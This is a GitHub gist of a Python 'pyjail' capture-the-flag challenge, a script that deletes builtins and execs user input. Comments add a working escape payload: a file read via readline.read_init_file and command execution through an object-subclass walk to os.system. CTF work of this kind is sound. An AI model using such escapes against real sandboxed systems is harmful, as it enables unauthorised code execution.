Last active
November 7, 2023 04:47
-
-
Save CharlesAverill/e7fef5a6e078f14b7ac7b3d318e3e24f to your computer and use it in GitHub Desktop.
Hard pyjail
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cont = input("This is a tough one to get out of. Use ctrl-c as a backup. Continue? (y/n) ") | |
if not "y" in cont: | |
quit() | |
print("CHALLENGE: EXIT INTERPRETER USING A VALID PYTHON 3.10 PAYLOAD") | |
import builtins | |
import readline | |
input = builtins.input | |
exec = builtins.exec | |
print = builtins.print | |
exit = None | |
quit = None | |
len = builtins.len | |
Exception = builtins.Exception | |
des = delattr | |
for a in list(__builtins__.__dict__): | |
des(__builtins__, a) | |
del des | |
__builtins__ = {} | |
user_input = "" | |
defining_multiline = False | |
while True: | |
try: | |
if defining_multiline: | |
user_input += "\n" | |
user_input += input("... " if defining_multiline else ">>> ") | |
if not len(user_input): | |
defining_multiline = False | |
# Exec the code | |
if "".join(user_input.split()) in ["quit()", "exit()"]: | |
print("Good luck!") | |
elif "exec" not in user_input: | |
print(exec(user_input)) | |
# Empty the input buffer | |
user_input = "" | |
defining_multiline = False | |
except Exception as e: | |
if not defining_multiline and e.__class__.__name__ == "IndentationError" and user_input.endswith(":"): | |
defining_multiline = True | |
elif defining_multiline: | |
# traceback.print_exc() | |
continue | |
else: | |
user_input = "" | |
defining_multiline = False | |
print(e.__class__, e) |
@salvatore-abello yeah this was just a fun challenge for a talk I gave a few years ago, so a single-system solution isn't an issue. Thank you for the solution! Nobody has solved it before you
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Read a file:
readline.read_init_file("/flag")
RCE:
[x.modules["os"].system("touch meow") if readline.__class__ == x.__class__ else None for x in ().__class__.__base__.__subclasses__()[138].__init__.__globals__.values()]
That
138
may change based on the Python version.